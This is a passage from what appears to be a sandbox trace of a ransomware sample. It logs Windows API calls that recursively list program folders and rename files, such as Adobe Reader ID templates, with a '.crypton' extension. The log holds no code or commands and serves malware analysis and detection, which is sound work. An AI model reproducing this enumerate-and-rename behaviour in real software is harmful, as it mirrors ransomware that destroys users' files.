nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.757] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd00f30c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd00f30c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.764] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd0119220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0119220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.771] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd0119220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0119220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.780] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd013f380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd013f380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.785] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd013f380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd013f380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.797] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd01654e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd01654e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.802] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd01654e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd01654e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.806] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd018b640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd018b640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.813] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd018b640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd018b640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.818] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd018b640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd018b640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.823] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd01b17a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd01b17a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.830] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd01b17a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd01b17a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.842] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd01d7900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd01d7900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.848] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd01d7900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd01d7900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.853] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd01fda60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd01fda60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.859] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd01fda60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd01fda60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.869] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd0223bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0223bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.876] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd0223bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0223bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.892] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd0249d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0249d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.950] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd02e22a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd02e22a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.954] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd02e22a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd02e22a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.958] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd02e22a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd02e22a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549710 [0138.961] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0308400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0308400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.967] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0308400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0308400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.980] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0308400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0308400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.986] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd032e560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd032e560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.992] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo.crypton"), dwFlags=0x2) returned 1 [0138.998] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd03546c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd03546c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0139.005] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo.crypton"), dwFlags=0x2) returned 1 [0139.014] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd037a820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd037a820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0139.021] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd037a820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd037a820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0139.063] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.103] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.110] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd045f060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd045f060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0139.247] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.368] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.375] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd06e67c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd06e67c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0139.388] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.408] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.414] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0758be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0758be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0139.468] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.515] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.522] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0863580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0863580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0139.557] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.592] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 